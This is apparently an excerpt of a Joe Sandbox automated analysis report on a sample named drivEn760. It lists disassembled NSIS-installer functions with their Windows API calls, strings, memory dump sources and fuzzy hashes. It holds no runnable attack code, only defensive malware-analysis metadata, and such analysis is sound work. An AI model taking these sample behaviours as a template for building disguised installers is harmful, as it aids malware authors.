Opcode ID: 85a3185d7cb92a2e2b40674208c19d5315f45b7b705aed7665b0b79387c8c285
Instruction ID: 87dd38174d63fc88252c3cacf76d35d2aef1a13c6195c1d88e2760da23471212
Opcode Fuzzy Hash: 85a3185d7cb92a2e2b40674208c19d5315f45b7b705aed7665b0b79387c8c285
Instruction Fuzzy Hash: DE41B771500205BACF10BBB5CD85DAE7A75EF45328B20473FF422B21E1D63D89619A2E

Function 004056CA Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
lstrlenW.KERNEL32(004030A8,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
lstrcatW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,004030A8,004030A8,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000), ref: 00405725
SetWindowTextW.USER32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\), ref: 00405737
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Part of subcall function 004066A5: lstrcatW.KERNEL32(Delete on reboot: ,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32(Delete on reboot: ,00000000,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,?,00405701,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000), ref: 004068A4

Strings

Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\, xrefs: 004056EB, 004056FB, 00405701, 00405724, 00405730

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$TextWindow
String ID: Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\
API String ID: 1495540970-790493214
Opcode ID: 0142927bfb998455769cd0419fa09c07e1ff5bc01981d52e0632b3bc7fc58000
Instruction ID: 7f52a71d89202be05388d2ae90ba5930d13dcc1e6093ad3ff4eaa481a322a782
Opcode Fuzzy Hash: 0142927bfb998455769cd0419fa09c07e1ff5bc01981d52e0632b3bc7fc58000
Instruction Fuzzy Hash: C6217A71900518FACB119FA5DD84A8EBFB8EB45360F10857AF904B62A0D67A4A509F68

Function 004069C5 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
wsprintfW.USER32 ref: 00406A17
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406A2B

Strings

UXTHEME, xrefs: 004069CE
\, xrefs: 004069ED
%s%S.dll, xrefs: 00406A11

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction ID: e2ac2e7087162e0187f8b4d6776822ec24d6e31928394cf94a41c199a4feb156
Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction Fuzzy Hash: 3AF096B154121DA7DB14AB68DD0EF9B366CAB00705F11447EA646F20E0EB7CDA68CB98

Function 00402950 Relevance: 9.1, APIs: 6, Instructions: 91
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
GlobalFree.KERNEL32(?), ref: 00402A06
GlobalFree.KERNELBASE(00000000), ref: 00402A19
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A35
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 2421e7d21af3a58438b8f2604f73b0c275452346c617808a2d043735fc6309d0
Instruction ID: 78b93316678d616cb595922dcd62a83f4062aa2fb33f08fb70827f98fa9650ab
Opcode Fuzzy Hash: 2421e7d21af3a58438b8f2604f73b0c275452346c617808a2d043735fc6309d0
Instruction Fuzzy Hash: E131B171D00124BBCF216FA9CE89D9EBE79AF09364F10023AF461762E1CB794D429B58

Function 00404E71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
wsprintfW.USER32 ref: 00404F1B
SetDlgItemTextW.USER32(?,00423748), ref: 00404F2E

Strings

%u.%u%s%s, xrefs: 00404EFC
H7B, xrefs: 00404F04

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H7B
API String ID: 3540041739-107966168
Opcode ID: 0bc8c34827350a1feddb0b043316ab74816edfdf87aa7e679fef7c7e57395ced
Instruction ID: 20619224473e8c08b4fba53027c62ddcf1c3fef784a2ba69f514aa474de30786
Opcode Fuzzy Hash: 0bc8c34827350a1feddb0b043316ab74816edfdf87aa7e679fef7c7e57395ced
Instruction Fuzzy Hash: 1A11D8736041283BDB00A5ADDC45E9F3298AB81338F150637FA26F61D1EA79882182E8

Function 00405B99 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC
GetLastError.KERNEL32 ref: 00405BF0
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405C05
GetLastError.KERNEL32 ref: 00405C0F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405BBF

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-823278215
Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction ID: 886f74eda6482ab63e8fe18d08a652fea41827dc0a526659a7d7b5e138c44e4e
Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction Fuzzy Hash: 95010871D04219EAEF009FA1CD44BEFBBB8EF14314F04403ADA44B6180E7789648CB99

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
Instruction ID: e1c20d37316975b9b94706f7b3abd8da4b7b3b5136eece5bd2aa3cbae88a6c19
Opcode Fuzzy Hash: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
Instruction Fuzzy Hash: 28219E7190420AEFEF05AFA4D94AAAE7BB4FF44304F14453EF601B61D0D7B88941CB98

Function 00406187 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004061A5
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040363E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 004061C0

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040618C
nsa, xrefs: 00406194

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-44229769
Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction ID: 21b676f9b33da427d45e0b2d6905a63b6509bf3d89a4e990effff8b21c6fdcbe
Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction Fuzzy Hash: C3F09076700214BFEB008F59DD05E9AB7BCEBA1710F11803AEE05EB180E6B0A9648768

Function 00403C25 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,00403B71,?), ref: 00403C37
CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,00403B71,?), ref: 00403C4B

Strings

C:\Users\user\AppData\Local\Temp\nss476A.tmp\, xrefs: 00403C5B
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C2A

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nss476A.tmp\
API String ID: 2962429428-4167381517
Opcode ID: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
Instruction ID: ab9e488bef71b432d29da19662b82269d7b8f1628316f3e3d8f7e3aa77a32ace
Opcode Fuzzy Hash: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
Instruction Fuzzy Hash: 3BE0863244471496E5246F7DAF4D9853B285F413357248726F178F60F0C7389A9B4A9D

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50,75923420,?,75922EE0,00405D94,?,75923420,75922EE0,00000000), ref: 00405FF0
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405B99: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything, xrefs: 00401640

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything
API String ID: 1892508949-2643781576
Opcode ID: ff9909915b16c23767ee925164981e8f632181fd0fe0b495a8c7e415af322c96
Instruction ID: a0118e7b9b939ef3ea3e51add98df8039a5aa70d3b8e99a19be4f9c31e9f39fe
Opcode Fuzzy Hash: ff9909915b16c23767ee925164981e8f632181fd0fe0b495a8c7e415af322c96
Instruction Fuzzy Hash: 04112231508105EBCF30AFA0CD4099E36A0EF15329B28493BF901B22F1DB3E4982DB5E

Function 0040603F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675

Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50,75923420,?,75922EE0,00405D94,?,75923420,75922EE0,00000000), ref: 00405FF0
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D

lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50,75923420,?,75922EE0,00405D94,?,75923420,75922EE0,00000000), ref: 00406098
GetFileAttributesW.KERNELBASE(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50,75923420,?,75922EE0,00405D94,?,75923420,75922EE0), ref: 004060A8

Strings

P_B, xrefs: 00406045

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: P_B
API String ID: 3248276644-906794629
Opcode ID: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
Instruction ID: df110f430b83b9381375b5fd3fa67f6c4419d4890c6468873e0fced3c2676832
Opcode Fuzzy Hash: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
Instruction Fuzzy Hash: 0DF07826144A1216E622B23A0C05BAF05098F82354B07063FFC93B22E1DF3C8973C43E

Function 00406536 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000000,?,00000000,?,?,Delete on reboot: ,?,?,0040679D,80000002), ref: 0040657C
RegCloseKey.KERNELBASE(?,?,0040679D,80000002,Software\Microsoft\Windows\CurrentVersion,Delete on reboot: ,Delete on reboot: ,Delete on reboot: ,00000000,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\), ref: 00406587

Strings

Delete on reboot: , xrefs: 0040653D

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CloseQueryValue
String ID: Delete on reboot:
